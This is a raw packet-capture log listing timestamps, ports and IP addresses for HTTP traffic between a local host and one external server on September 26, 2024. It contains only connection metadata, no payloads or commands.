Sep 26, 2024 15:10:47.157382965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157396078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157407999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157418966 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157430887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157438040 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157442093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157454014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157461882 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157464981 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157478094 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157490015 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157495022 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157505989 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157509089 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157522917 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157524109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157537937 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157548904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157560110 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157565117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157578945 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157583952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157598019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157604933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157608986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157623053 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157628059 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157685041 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157732010 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157743931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157754898 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157767057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157778978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157778025 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157886982 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157898903 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157910109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157912016 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157922029 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157932997 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157943010 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157946110 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157958031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157968998 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.157972097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.157995939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158021927 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158035994 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158073902 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158216953 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158230066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158241034 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158253908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158265114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158271074 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158276081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158288002 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158296108 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158299923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158317089 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158324957 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158324957 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158329010 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158340931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158346891 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158353090 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158436060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158440113 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158448935 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158502102 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158503056 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158514977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158565044 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158644915 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158658028 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158677101 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158689022 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158696890 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158704042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158713102 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158714056 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158725977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158745050 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158765078 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158832073 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158844948 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158857107 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158868074 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158876896 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158879995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158893108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158904076 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158915997 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158919096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158930063 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158942938 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.158957005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.158961058 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159060955 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159074068 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159085035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159091949 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159096956 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159107924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159121037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159133911 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159142017 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159146070 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159162998 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159193993 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159218073 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159229994 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159291029 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159642935 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159657001 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159668922 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159682035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159693003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159703970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159710884 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159718037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159729004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159739017 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159739971 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159751892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159763098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159775972 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159776926 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159789085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159797907 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159802914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.159830093 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.159847975 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.201004982 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201181889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201199055 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201211929 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201225042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201236963 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201241970 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.201247931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201258898 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.201288939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.201325893 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.245374918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245424986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245436907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245467901 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.245474100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245496988 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245515108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245518923 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.245613098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245625019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245635986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245647907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245656013 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.245661020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245672941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245695114 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.245742083 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.245763063 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245775938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.245805979 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246217012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246269941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246284008 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246335030 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246347904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246351957 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246360064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246376038 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246402979 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246476889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246489048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246501923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246514082 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246519089 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246526957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246539116 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246548891 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246551991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246566057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246570110 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246609926 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246618986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246658087 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246670008 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246681929 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246712923 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246746063 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246750116 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246758938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246772051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246783018 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246805906 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246850967 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246889114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246901035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246912956 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246932030 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246944904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246957064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246959925 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246970892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.246975899 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.246984005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247025013 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247025013 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247049093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247075081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247102976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247107983 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247121096 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247133017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247153044 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247248888 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247260094 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247272015 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247284889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247297049 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247298002 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247308969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247328043 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247395039 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247406006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247410059 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247419119 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247427940 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247431993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247469902 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247575998 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247587919 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247600079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247611046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247623920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247623920 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247623920 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247637033 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247648954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247652054 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247661114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247687101 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247699976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247704983 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247715950 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247730970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247739077 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247746944 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247795105 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247807980 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247819901 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247832060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247838020 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247843027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247874975 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247889042 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.247982979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.247993946 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248008013 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248022079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248025894 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248035908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248054028 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248059034 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248087883 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248132944 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248145103 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248157024 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248167992 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248179913 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248183966 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248192072 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248218060 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248224020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248231888 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248235941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248248100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248260021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248265982 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248272896 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248286009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248297930 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248318911 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248341084 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248524904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248538017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248549938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248562098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248575926 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248583078 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248588085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248601913 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248611927 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.248615980 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248615980 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.248657942 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.289669991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289710045 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.289829016 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289839983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289851904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289864063 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289875031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289885998 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.289886951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289899111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.289973974 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.289973974 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.345985889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346000910 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346013069 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346081018 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346091986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346103907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346106052 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346117020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346128941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346139908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346146107 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346157074 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346170902 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346200943 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346394062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346405983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346419096 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346431017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346441984 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346450090 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.346453905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346466064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.346477985 CEST	80	49712	172.86.66.70	192.168.2.12
